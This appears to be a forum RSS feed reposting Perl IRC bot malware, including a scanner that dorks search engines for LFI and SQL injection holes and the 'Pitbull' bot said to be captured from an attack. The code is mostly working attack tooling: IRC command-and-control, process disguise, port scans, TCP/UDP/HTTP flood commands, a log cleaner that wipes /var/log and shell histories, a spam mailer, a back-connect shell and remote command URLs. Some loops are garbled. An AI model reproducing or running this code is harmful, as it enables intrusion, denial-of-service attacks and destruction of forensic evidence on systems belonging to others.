<br />
		my @google=&amp;google($dork);
<br />
		push(@total, @google);
<br />
		}
<br />
	if ($engz =~ /AllTheWeb/) {
<br />
		my @alltheweb=&amp;alltheweb($dork);
<br />
		push(@total, @alltheweb);
<br />
	}
<br />
	if ($engz =~ /MsN/) {
<br />
		my @msn=&amp;msn($dork);
<br />
		push(@total, @msn);
<br />
	}
<br />
	if ($engz =~ /ALtaViSTa/) {
<br />
		my @altavista=&amp;altavista($dork);
<br />
		push(@total, @altavista);
<br />
	}
<br />
	if ($engz =~ /AsK/) {
<br />
		my @ask=&amp;ask($dork);
<br />
		push(@total, @ask);
<br />
	}
<br />
	if ($engz =~ /UoL/) {
<br />
		my @uol=&amp;uol($dork);
<br />
		push(@total, @uol);
<br />
	}
<br />
	if ($engz =~ /GiGaBLaST/) {
<br />
		my @gigablast=&amp;gigablast($dork);
<br />
		push(@total, @gigablast);
<br />
	}
<br />
	if ($engz =~ /LyCos/) {
<br />
		my @lycos=&amp;lycos($dork);
<br />
		push(@total, @lycos);
<br />
	}
<br />
	my @clean = &amp;calculate(@total);
<br />
	sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2LFI15)(7@2$engz15)12 Total:4 (&quot;.scalar(@total).&quot;)12 Clean:4 (&quot;.scalar(@clean).&quot;)&quot;);
<br />
	if (scalar(@clean) != 0) {
<br />
		sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2LFI15)(7@2$engz15)7 Exploiting4 $dork&quot;);
<br />
	}
<br />
	my $uni=scalar(@clean);
<br />
	foreach my $target (@clean)
<br />
	{
<br />
		$contatore++;
<br />
		if ($contatore==$uni-1){
<br />
			sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2LFI15)(7@2$engz15)10 Scan Finish for14 $dork&quot;);
<br />
		}
<br />
		my $xpl  = &quot;http://&quot;.$target.$bugz.$lfi_test;
<br />
		my $vuln = &quot;http://&quot;.$target.&quot;12&quot;.$bugz.&quot;7&quot;.$lfi_test.&quot;&quot;;
<br />
		my $re   = getcontent($xpl);
<br />
		if ($re  =~ /$lfi_output/){
<br />
			sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2LFI15)(7@2$engz15)15(13@12Vulnerable15)4 &quot;.$vuln.&quot; 15(7@3H3LLCR3W15)&quot;);
<br />
		}
<br />
	}
<br />
}
<br />

<br />
sub sqlscan() {
<br />
	my $engz = $_[0];
<br />
	my $bugz = $_[1];
<br />
	my $dork = $_[2];
<br />
	my $contatore = 0;
<br />
	if ($engz =~ /GooGLe/) {
<br />
		my @google=&amp;google($dork);
<br />
		push(@total, @google);
<br />
		}
<br />
	if ($engz =~ /AllTheWeb/) {
<br />
		my @alltheweb=&amp;alltheweb($dork);
<br />
		push(@total, @alltheweb);
<br />
	}
<br />
	if ($engz =~ /MsN/) {
<br />
		my @msn=&amp;msn($dork);
<br />
		push(@total, @msn);
<br />
	}
<br />
	if ($engz =~ /ALtaViSTa/) {
<br />
		my @altavista=&amp;altavista($dork);
<br />
		push(@total, @altavista);
<br />
	}
<br />
	if ($engz =~ /AsK/) {
<br />
		my @ask=&amp;ask($dork);
<br />
		push(@total, @ask);
<br />
	}
<br />
	if ($engz =~ /UoL/) {
<br />
		my @uol=&amp;uol($dork);
<br />
		push(@total, @uol);
<br />
	}
<br />
	if ($engz =~ /GiGaBLaST/) {
<br />
		my @gigablast=&amp;gigablast($dork);
<br />
		push(@total, @gigablast);
<br />
	}
<br />
	if ($engz =~ /LyCos/) {
<br />
		my @lycos=&amp;lycos($dork);
<br />
		push(@total, @lycos);
<br />
	}
<br />
	my @clean = &amp;calculate(@total);
<br />
	sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)12 Total:4 (&quot;.scalar(@total).&quot;)12 Clean:4 (&quot;.scalar(@clean).&quot;)&quot;);
<br />
	if (scalar(@clean) != 0) {
<br />
		sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)7 Exploiting4 $dork&quot;);
<br />
	}
<br />
	my $uni = scalar(@clean);
<br />
	foreach my $target (@clean)
<br />
	{
<br />
		$contatore++;
<br />
		if ($contatore==$uni-1){
<br />
			sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)10 Scan Finish for14 $dork&quot;);
<br />
		}
<br />
		my $xpl  = &quot;http://&quot;.$target.$bugz.$sql_test;
<br />
		my $vuln = &quot;http://&quot;.$target.&quot;12&quot;.$bugz.&quot;7[SQL]&quot;;
<br />
		my $re   = getcontent($xpl);
<br />
		if ($re  =~ /$sql_output/){
<br />
			sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)15(13@12ErrorQuery15)4 &quot;.$vuln.&quot; 15(7@3H3LLCR3W15)&quot;);
<br />
		}
<br />
	}
<br />
}
<br />

<br />
sub os() {
<br />
	my $site = $_[0];
<br />
	my $re   = &amp;query($site);
<br />
	while ($re =~ m/&lt;br&gt;os:(.+?)\&lt;br&gt;/g) {
<br />
		$os = $1;
<br />
		if ($1 =~ //) { $os = &quot;Unkn0wN&quot;; }
<br />
	}
<br />
}
<br />

<br />
sub response() {
<br />
    my $re = getcontent($injector);
<br />
    if ($re =~ /pZLNd8MwEITvg/) {
<br />
        sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2RFI15)12 « 3OK12 »&quot;);
<br />
    }
<br />
    else {
<br />
        sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2RFI15)12 « 4JAH12 »&quot;);
<br />
    }
<br />
}
<br />

<br />
sub getcontent() {
<br />
    $url    = $_[0];
<br />
    my $req = HTTP::Request-&gt;new(GET =&gt; $url);
<br />
    my $ua  = LWP::UserAgent-&gt;new();
<br />
    $ua-&gt;timeout(5);
<br />
    my $response = $ua-&gt;request($req);
<br />
    return $response-&gt;content;
<br />
}
<br />

<br />
sub google(){
<br />
    my @lst;
<br />
    my $key = $_[0];
<br />
    for ($b=0;$b&lt;=1000;$b+=100){
<br />
        my $Go=(&quot;http://www.google.com/search?q=&quot;.key($key).&quot;&amp;num=100&amp;filter=0&amp;start=&quot;.$b);
<br />
        my $Res=query($Go);
<br />
        while ($Res =~ m/&lt;a href=\&quot;?http:\/\/([^&gt;\&quot;]*)\//g){
<br />
            if ($1 !~ /google/){
<br />
                my $k=$1;
<br />
                my @grep=links($k);
<br />
                push(@lst,@grep);
<br />
            }
<br />
		}
<br />
	}
<br />
return @lst;
<br />
}
<br />

<br />
sub alltheweb() {
<br />
    my @lst;
<br />
    my $key = $_[0];
<br />
    my $i   = 0;
<br />
    my $pg  = 0;
<br />
    for ( $i = 0 ; $i &lt;= 1000 ; $i += 100 ) {
<br />
        my $all = (&quot;http://www.alltheweb.com/search?cat=web&amp;_sb_lang=any&amp;hits=100&amp;q=&quot;.key($key).&quot;&amp;o=&quot;.$i);
<br />
        my $Res = query($all);
<br />
        while ( $Res =~ m/&lt;span&gt;http:\/\/(.+?)\&lt;/span&gt;/g ) {
<br />
            my $k = $1;
<br />
            $k =~ s/ //g;
<br />
            my @grep = links($k);
<br />
            push( @lst, @grep );
<br />
        }
<br />
    }
<br />
    return @lst;
<br />
}
<br />

<br />
sub uol() {
<br />
    my @lst;
<br />
    my $key = $_[0];
<br />
    for ( $b = 1 ; $b &lt;= 1000 ; $b += 10 ) {
<br />
        my $UoL = (&quot;http://mundo.busca.uol.com.br/buscar.html?q=&quot;.key($key).&quot;&amp;start=&quot;.$i);
<br />
        my $Res = query($UoL);
<br />
        while ( $Res =~ m/&lt;a href=\&quot;http:\/\/([^&gt;\&quot;]*)/g ) {
<br />
            my $k = $1;
<br />
            if ( $k !~ /busca|uol|yahoo/ ) {
<br />
                my $k    = $1;
<br />
                my @grep = links($k);
<br />
                push( @lst, @grep );
<br />
            }
<br />
        }
<br />
    }
<br />
    return @lst;
<br />
}
<br />

<br />
sub msn() {
<br />
    my @lst;
<br />
    my $key = $_[0];
<br />
    for ( $b = 1 ; $b &lt;= 1000 ; $b += 10 ) {
<br />
        my $MsN = (&quot;http://search.live.com/results.aspx?q=&quot;.key($key).&quot;&amp;first=&quot;.$b.&quot;&amp;FORM=PERE&quot;);
<br />
        my $Res = query($MsN);
<br />
        while ( $Res =~ m/&lt;a href=\&quot;?http:\/\/([^&gt;\&quot;]*)\//g ) {
<br />
            if ( $1 !~ /msn|live/ ) {
<br />
                my $k    = $1;
<br />
                my @grep = links($k);
<br />
                push( @lst, @grep );
<br />
            }
<br />
        }
<br />
    }
<br />
    return @lst;
<br />
}
<br />

<br />
sub altavista(){
<br />
    my @lst;
<br />
    my $key = $_[0];
<br />
    for ($b=1;$b&lt;=1000;$b+=10){
<br />
        my $AlT=(&quot;http://it.altavista.com/web/results?itag=ody&amp;kgs=0&amp;kls=0&amp;dis=1&amp;q=&quot;.key($key).&quot;&amp;stq=&quot;.$b);
<br />
        my $Res=query($AlT);
<br />
        while ($Res=~m/&lt;span&gt;(.+?)\//g){
<br />
            if ($1 !~ /altavista/){
<br />
                my $k=$1;
<br />
                $k=~s/&lt;//g;
<br />
                $k=~s/ //g;
<br />
                my @grep=links($k);
<br />
                push(@lst,@grep);
<br />
            }
<br />
		}
<br />
	}
<br />
return @lst;
<br />
}
<br />

<br />
sub ask() {
<br />
    my @lst;
<br />
    my $key = $_[0];
<br />
    my $i   = 0;
<br />
    my $pg  = 0;
<br />
    for ( $i = 0 ; $i &lt;= 1000 ; $i += 10 ) {
<br />
        my $Ask = (&quot;http://it.ask.com/web?q=&quot;.key($key).&quot;&amp;o=0&amp;l=dir&amp;qsrc=0&amp;qid=EE90DE6E8F5370F363A63EC61228D4FE&amp;dm=all&amp;page=&quot;.$i);
<br />
        my $Res = query($Ask);
<br />
        while ($Res =~ m/href=\&quot;http:\/\/(.+?)\&quot; onmousedown=/g) {
<br />
            if ($1 !~ /ask.com/){
<br />
				my $k = $1;
<br />
				my @grep = links($k);
<br />
				push( @lst, @grep );
<br />
			}
<br />
        }
<br />
    }
<br />
    return @lst;
<br />
}
<br />

<br />
sub gigablast() {
<br />
    my @lst;
<br />
    my $key = $_[0];
<br />
    for ($i = 0; $i &lt;1000&gt;&lt;font/g) {
<br />
            if ($1 !~ /answers|gigablast|google|yahoo|msn|teoma|dmoz/){
<br />
				my $k = $1;
<br />
                my @grep = links($k);
<br />
                push(@lst, @grep);
<br />
            }
<br />
        }
<br />
    }
<br />
    return @lst;
<br />
}
<br />

<br />
sub lycos() {
<br />
	my @lst;
<br />
	my $key = $_[0];
<br />
	for ($i = 0; $i &lt;1000&gt;/g) {
<br />
            if ($1 !~ /lycos/){
<br />
                my $k = $1;
<br />
                my @grep = links($k);
<br />
                push(@lst, @grep);
<br />
            }
<br />
        }
<br />
    }
<br />
    return @lst;
<br />
}
<br />

<br />
sub links() {
<br />
	my @l;
<br />
	my $link = $_[0];
<br />
	my $host = $_[0];
<br />
	my $hdir = $_[0];
<br />
	$hdir =~ s/(.*)\/[^\/]*$/\1/;
<br />
	$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
<br />
	$host .= &quot;/&quot;;
<br />
	$link .= &quot;/&quot;;
<br />
	$hdir .= &quot;/&quot;;
<br />
	$host =~ s/\/\//\//g;
<br />
	$hdir =~ s/\/\//\//g;
<br />
	$link =~ s/\/\//\//g;
<br />
	push( @l, $link, $host, $hdir );
<br />
	return @l;
<br />
}
<br />

<br />
sub key() {
<br />
	my $dork = $_[0];
<br />
	$dork =~ s/ /\+/g;
<br />
	$dork =~ s/:/\%3A/g;
<br />
	$dork =~ s/\//\%2F/g;
<br />
	$dork =~ s/&amp;/\%26/g;
<br />
	$dork =~ s/\&quot;/\%22/g;
<br />
	$dork =~ s/,/\%2C/g;
<br />
	$dork =~ s/\\/\%5C/g;
<br />
	return $dork;
<br />
}
<br />

<br />
sub query($) {
<br />
	my $url = $_[0];
<br />
	$url =~ s/http:\/\///;
<br />
	my $host  = $url;
<br />
	my $query = $url;
<br />
	my $page  = &quot;&quot;;
<br />
	$host  =~ s/href=\&quot;?http:\/\///;
<br />
	$host  =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
<br />
	$query =~ s/$host//;
<br />
	if ( $query eq &quot;&quot; ) { $query = &quot;/&quot;; }
<br />
		eval {
<br />
			my $sock = IO::Socket::INET-&gt;new(PeerAddr =&gt; &quot;$host&quot;, PeerPort =&gt; &quot;80&quot;, Proto =&gt; &quot;tcp&quot;) or return;
<br />
			print $sock &quot;GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n&quot;;
<br />
			my @r = &lt;sock&gt;;
<br />
			$page = &quot;@r&quot;;
<br />
			close($sock);
<br />
		};
<br />
	return $page;
<br />
}
<br />

<br />
sub calculate {
<br />
	my @calculate = ();
<br />
	my %visti = ();
<br />
	foreach my $element (@_) {
<br />
		$element =~ s/\/+/\//g;
<br />
		next if $visti{$element}++;
<br />
		push @calculate, $element;
<br />
	}
<br />
	return @calculate;
<br />
}
<br />

<br />
sub nick {
<br />
	return unless $#_ == 0;
<br />
	sendraw(&quot;NICK $_[0]&quot;);
<br />
}
<br />

<br />
sub notice {
<br />
	return unless $#_ == 1;
<br />
	sendraw(&quot;NOTICE $_[0] :$_[1]&quot;);
<br />
}]]></description>
            <author> no_email@example.com (CyberOps)</author>
            <guid isPermaLink="false">http://www.cyberbase7.com/modules.php?name=Forums&amp;file=viewtopic&amp;p=11#11</guid>
        </item>
        <item>
            <title>Pitbull attack bot script --- live script</title>
            <link>http://www.cyberbase7.com/modules.php?name=Forums&amp;file=viewtopic&amp;p=10#10</link>
            <description><![CDATA[http://200.199.242.22/images/.ajim/
<br />

<br />
captured from hack attempt on this site.  --- 
<br />

<br />
#!/usr/bin/perl
<br />
#
<br />
# What is New in V2.0 ? :
<br />
# 
<br />
# + Improved Scanner
<br />
# + Improved Configuration
<br />
# + Nmap PortScan
<br />
# + LogCleaner
<br />
# + Mailer
<br />
#
<br />
#You can use the following commands :
<br />
#!bot @portscan &lt;ip&gt;
<br />
#!bot @nmap &lt;ip&gt; &lt;beginport&gt; &lt;endport&gt;
<br />
#!bot @back &lt;ip&gt;&lt;port&gt;	
<br />
#!bot @udpflood &lt;ip&gt; &lt;packet&gt; &lt;time&gt;
<br />
#!bot @tcpflood &lt;ip&gt; &lt;port&gt; &lt;packet&gt; &lt;time&gt;
<br />
#!bot @httpflood &lt;site&gt; &lt;time&gt;
<br />
#!bot @linuxhelp
<br />
#!bot @hajar &lt;vuln&gt; &lt;dork&gt;
<br />
#!bot @system
<br />
#!bot @milw0rm
<br />
#!bot @logcleaner
<br />
#!bot @sendmail &lt;subject&gt; &lt;sender&gt; &lt;recipient&gt; &lt;message&gt;
<br />
#!bot @join &lt;channel&gt;	
<br />
#!bot @part &lt;channel&gt;
<br />
#!bot @help
<br />
#!bot cd tmp for example
<br />
#!bot !eval &lt;code&gt;
<br />
#
<br />
#
<br />
########################################################################################################################
<br />
# ______   __              ___    _   __    ___          __   __                                                       #
<br />
#/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
<br />
# / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
<br />
#/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
<br />
#                                                                                                                      #
<br />
########################################################################################################################
<br />

<br />
######################
<br />
use HTTP::Request;
<br />
use LWP::UserAgent;
<br />
######################
<br />
my $processo = 'usr/bin/httpds';
<br />
######################
<br />
#####################################################################
<br />
#/!\                          .:CONFIGURATION:.                  /!\#
<br />
#####################################################################
<br />
############################################
<br />
my $linas_max='8';
<br />
#-----------------                         #
<br />
# Maximum Lines for Anti Flood             #
<br />
#############################################
<br />
my $sleep='5';
<br />
#-----------------                         #                                      
<br />
#Sleep Time                                #
<br />
############################################
<br />
my $cmd=&quot;http://chicla.bravehost.com/cmd.txt??&quot;;
<br />
#-----------------                         #
<br />
#CMD that is printed in the channel        #
<br />
############################################
<br />
my $id=&quot;http://www.fileden.com/files/2009/12/5/2676962/ajimbu&quot;;
<br />
#-----------------                         #
<br />
#ID = Response CMD                         #
<br />
############################################
<br />
my @adms=(&quot;kaos&quot;,&quot;centrino&quot;,&quot;keceng&quot;,&quot;Voldemort&quot;);
<br />
#-----------------                         #
<br />
#Admins of the Bot set your nickname here  #
<br />
############################################
<br />
my @canais=(&quot;#iuctt&quot;);
<br />
#-----------------                         #
<br />
#Put your channel here                     #
<br />
############################################
<br />
my @nickname = (&quot;shell-bot&quot;);
<br />
my $nick = $nickname[rand scalar @nickname];
<br />
#-----------------                         #
<br />
#Nickname of bot                           #
<br />
############################################
<br />
my $ircname ='whoami';
<br />
chop (my $realname = '$uname -a');
<br />
#-----------------                         #
<br />
#IRC name and Realname                     #
<br />
############################################
<br />
$servidor='irc.mildnet.org' unless $servidor;
<br />
my $porta='7000';
<br />
#-----------------                         #
<br />
#IRCServer and port                        #
<br />
############################################
<br />
#####################################################################
<br />
#/!\                          .:CONFIGURATION:.                  /!\#
<br />
#####################################################################
<br />
######################
<br />
#End of Configuration# 
<br />
#                    #
<br />
######################
<br />
$SIG{'INT'} = 'IGNORE';
<br />
$SIG{'HUP'} = 'IGNORE';
<br />
$SIG{'TERM'} = 'IGNORE';
<br />
$SIG{'CHLD'} = 'IGNORE';
<br />
$SIG{'PS'} = 'IGNORE';
<br />
use IO::Socket;
<br />
use Socket;
<br />
use IO::Select;
<br />
chdir(&quot;/&quot;);
<br />
########################################################################################################################
<br />
# ______   __              ___    _   __    ___          __   __                                                       #
<br />
#/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
<br />
# / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
<br />
#/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
<br />
#                                                                                                                      #
<br />
########################################################################################################################
<br />

<br />
#Connect
<br />
$servidor=&quot;$ARGV[0]&quot; if $ARGV[0];
<br />
$0=&quot;$processo&quot;.&quot;\0&quot;x16;;
<br />
my $pid=fork;
<br />
exit if $pid;
<br />
die &quot;Masalah fork: $!&quot; unless defined($pid);
<br />

<br />
our %irc_servers;
<br />
our %DCC;
<br />
my $dcc_sel = new IO::Select-&gt;new();
<br />
$sel_cliente = IO::Select-&gt;new();
<br />
sub sendraw {
<br />
  if ($#_ == '1') {
<br />
    my $socket = $_[0];
<br />
    print $socket &quot;$_[1]\n&quot;;
<br />
    } else {
<br />
    print $IRC_cur_socket &quot;$_[0]\n&quot;;
<br />
  }
<br />
}
<br />

<br />
sub conectar {
<br />
  my $meunick = $_[0];
<br />
  my $servidor_con = $_[1];
<br />
  my $porta_con = $_[2];
<br />
  my $IRC_socket = IO::Socket::INET-&gt;new(Proto=&gt;&quot;tcp&quot;, PeerAddr=&gt;&quot;$servidor_con&quot;,
<br />
  PeerPort=&gt;$porta_con) or return(1);
<br />
  if (defined($IRC_socket)) {
<br />
    $IRC_cur_socket = $IRC_socket;
<br />
    $IRC_socket-&gt;autoflush(1);
<br />
    $sel_cliente-&gt;add($IRC_socket);
<br />
    $irc_servers{$IRC_cur_socket}{'host'} = &quot;$servidor_con&quot;;
<br />
    $irc_servers{$IRC_cur_socket}{'porta'} = &quot;$porta_con&quot;;
<br />
    $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
<br />
    $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket-&gt;sockhost;
<br />
    nick(&quot;$meunick&quot;);
<br />
    sendraw(&quot;USER $ircname &quot;.$IRC_socket-&gt;sockhost.&quot; $servidor_con :$realname&quot;);
<br />
    sleep 1;
<br />
  }
<br />
}
<br />

<br />
my $line_temp;
<br />
while( 1 ) {
<br />
  while (!(keys(%irc_servers))) { conectar(&quot;$nick&quot;, &quot;$servidor&quot;, &quot;$porta&quot;); }
<br />
  delete($irc_servers{''}) if (defined($irc_servers{''}));
<br />
  my @ready = $sel_cliente-&gt;can_read(0);
<br />
  next unless(@ready);
<br />
  foreach $fh (@ready) {
<br />
    $IRC_cur_socket = $fh;
<br />
    $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
<br />
    $nread = sysread($fh, $msg, 4096);
<br />
    if ($nread == 0) {
<br />
      $sel_cliente-&gt;remove($fh);
<br />
      $fh-&gt;close;
<br />
      delete($irc_servers{$fh});
<br />
    }
<br />
    @lines = split (/\n/, $msg);
<br />
    for(my $c=0; $c&lt;lines&gt;new(PeerAddr=&gt;&quot;milw0rm.com&quot;,PeerPort=&gt;&quot;80&quot;,Proto=&gt;&quot;tcp&quot;) or return;
<br />
	print $socke &quot;GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n&quot;;
<br />
	my @r = &lt;socke&gt;;
<br />
	$page=&quot;@r&quot;;
<br />
	close($socke);
<br />
	while ($page =~  m/&lt;title&gt;(.*)&lt;/g){
<br />
	$x = $1;
<br />
	if ($x =~ /\&amp;lt\;/) {
<br />
	$x =~ s/\&amp;lt\;/&lt;/g;
<br />
	}
<br />
	if ($x !~ /milw0rm/) {
<br />
	push (@bug,$x);
<br />
	}}
<br />
	while ($page =~  m/&lt;link.*expl.*([0-9]...)&lt;/g&gt;new(PeerAddr =&gt; $hostip, PeerPort =&gt; $porta, Proto =&gt;
<br />
    'tcp', Timeout =&gt; 4);
<br />
    if ($scansock) {
<br />
      push (@aberta, $porta);
<br />
      $scansock-&gt;close;
<br />
    }
<br />
  }
<br />
  
<br />
  if (@aberta) {
<br />
    sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4|12.:4Port Scan12:.4|12 Open ports founded: @aberta&quot;);
<br />
    } else {
<br />
    sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4|12.:4Port Scan12:.4|12 No open ports foundend.&quot;);
<br />
  }
<br />
}
<br />

<br />
######################
<br />
#  End of  Portscan  # 
<br />
#                    #
<br />
######################
<br />
########################################################################################################################
<br />
# ______   __              ___    _   __    ___          __   __                                                       #
<br />
#/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
<br />
# / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
<br />
#/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
<br />
#                                                                                                                      #
<br />
########################################################################################################################
<br />
######################
<br />
#        Nmap        #  
<br />
#                    #
<br />
######################
<br />
   if ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/){
<br />
         my $hostip=&quot;$1&quot;;
<br />
         my $portstart = &quot;$2&quot;;
<br />
         my $portend = &quot;$3&quot;;
<br />
         my (@abertas, %porta_banner); 
<br />
       sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4|12.:4Nmap PortScan12:.4| 4: $1 12.:4Ports12:. 4 $2-$3&quot;);
<br />
       foreach my $porta ($portstart..$portend){
<br />
               my $scansock = IO::Socket::INET-&gt;new(PeerAddr =&gt; $hostip, PeerPort =&gt; $porta, Proto =&gt; 'tcp', Timeout =&gt; $portime); 
<br />
    if ($scansock) {
<br />
                 push (@abertas, $porta);
<br />
                 $scansock-&gt;close;
<br />
                 if ($xstats){
<br />
        sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4|12.:4Nmap PortScan12:.4| 12Founded 4 $porta&quot;.&quot;/Open&quot;); 
<br />
                 }
<br />
               }
<br />
             }
<br />
             if (@abertas) {
<br />
        sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4|12.:4Nmap PortScan12:.4| Complete &quot;);
<br />
             } else {
<br />
        sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4|12.:4Nmap PortScan12:.4| No open ports have been founded 13&quot;);
<br />
             }
<br />
			 }
<br />
######################
<br />
#    End of Nmap     #  
<br />
#                    #
<br />
######################
<br />
# 
<br />
# The PitBull !!!!
<br />
#
<br />
######################
<br />
#    Log Cleaner     #  
<br />
#                    #
<br />
######################
<br />
if ($funcarg =~ /^logcleaner/) {
<br />
sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4|12.:4LogCleaner12:.4|12 This process can be long, just wait&quot;); 
<br />
    system 'rm -rf /var/log/lastlog';
<br />
    system 'rm -rf /var/log/wtmp';
<br />
	system 'rm -rf /etc/wtmp';
<br />
	system 'rm -rf /var/run/utmp';
<br />
	system 'rm -rf /etc/utmp';
<br />
	system 'rm -rf /var/log';
<br />
	system 'rm -rf /var/logs';
<br />
	system 'rm -rf /var/adm';
<br />
	system 'rm -rf /var/apache/log';
<br />
	system 'rm -rf /var/apache/logs';
<br />
	system 'rm -rf /usr/local/apache/log'; 
<br />
	system 'rm -rf /usr/local/apache/logs';
<br />
	system 'rm -rf /root/.bash_history';
<br />
	system 'rm -rf /root/.ksh_history';
<br />
sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4|12.:4LogCleaner12:.4|12 All default log and bash_history files erased&quot;); 
<br />
		sleep 1;
<br />
sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4|12.:4LogCleaner12:.4|12 Now Erasing the rest of the machine log files&quot;);
<br />
	system 'find / -name *.bash_history -exec rm -rf {} \;';
<br />
	system 'find / -name *.bash_logout -exec rm -rf {} \;';
<br />
	system 'find / -name &quot;log*&quot; -exec rm -rf {} \;';
<br />
	system 'find / -name *.log -exec rm -rf {} \;';
<br />
		sleep 1;
<br />
sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4|12.:4LogCleaner12:.4|12 Done! All logs erased&quot;); 
<br />
      }
<br />
######################
<br />
# End of Log Cleaner #  
<br />
#                    #
<br />
######################
<br />
# 
<br />
# The PitBull !!!!
<br />
#
<br />
######################
<br />
#       MAILER       #  
<br />
#                    #
<br />
######################
<br />
# For mailing use :
<br />
# !bot @sendmail &lt;subject&gt; &lt;sender&gt; &lt;recipient&gt; &lt;message&gt;
<br />
#
<br />
######################
<br />
if ($funcarg =~ /^sendmail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
<br />
sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4|12.:4Mailer12:.4|12 Sending Mail to :2 $3&quot;);
<br />
$subject = $1;
<br />
$sender = $2;
<br />
$recipient = $3; 
<br />
@corpo = $4;
<br />
$mailtype = &quot;content-type: text/html&quot;;
<br />
$sendmail = '/usr/sbin/sendmail';
<br />
open (SENDMAIL, &quot;| $sendmail -t&quot;);
<br />
print SENDMAIL &quot;$mailtype\n&quot;;
<br />
print SENDMAIL &quot;Subject: $subject\n&quot;; 
<br />
print SENDMAIL &quot;From: $sender\n&quot;;
<br />
print SENDMAIL &quot;To: $recipient\n\n&quot;;
<br />
print SENDMAIL &quot;@corpo\n\n&quot;;
<br />
close (SENDMAIL);
<br />
sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4|12.:4Mailer12:.4|12 Mail Sended To :2 $recipient&quot;); 
<br />
}
<br />
######################
<br />
#   End of MAILER    #  
<br />
#                    #
<br />
######################
<br />
######################
<br />
#  Join And Part     # 
<br />
#                    #
<br />
######################
<br />
           if ($funcarg =~ /^join (.*)/) {
<br />
              sendraw($IRC_cur_socket, &quot;JOIN &quot;.$1);
<br />
           }
<br />
           if ($funcarg =~ /^part (.*)/) {
<br />
              sendraw($IRC_cur_socket, &quot;PART &quot;.$1);
<br />
           }
<br />
		   
<br />
######################
<br />
#End of Join And Part# 
<br />
#                    #
<br />
######################
<br />
########################################################################################################################
<br />
# ______   __              ___    _   __    ___          __   __                                                       #
<br />
#/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
<br />
# / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
<br />
#/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
<br />
#                                                                                                                      #
<br />
########################################################################################################################
<br />
######################
<br />
#     TCPFlood       # 
<br />
#                    #
<br />
######################
<br />

<br />
if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
<br />
  sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4|12.:4TCP DDos12:.4|12 Attacking 4 &quot;.$1.&quot;:&quot;.$2.&quot; 12for 4 &quot;.$3.&quot; 12seconds.&quot;);
<br />
  my $itime = time;
<br />
  my ($cur_time);
<br />
  $cur_time = time - $itime;
<br />
  while ($3&gt;$cur_time){
<br />
  $cur_time = time - $itime;
<br />
  &amp;tcpflooder(&quot;$1&quot;,&quot;$2&quot;,&quot;$3&quot;);
<br />
}
<br />
sendraw($IRC_cur_socket,&quot;PRIVMSG $printl :4|12.:4TCP DDos12:.4| 12Attack done 4 &quot;.$1.&quot;:&quot;.$2.&quot;.&quot;);
<br />
}
<br />
######################
<br />
#  End of TCPFlood   # 
<br />
#                    #
<br />
######################
<br />
########################################################################################################################
<br />
# ______   __              ___    _   __    ___          __   __                                                       #
<br />
#/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
<br />
# / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
<br />
#/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
<br />
#                                                                                                                      #
<br />
########################################################################################################################
<br />
######################
<br />
#   Back Connect     # 
<br />
#                    #
<br />
######################
<br />
if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
<br />
my $host = &quot;$1&quot;;
<br />
my $porta = &quot;$2&quot;;
<br />
my $proto = getprotobyname('tcp');
<br />
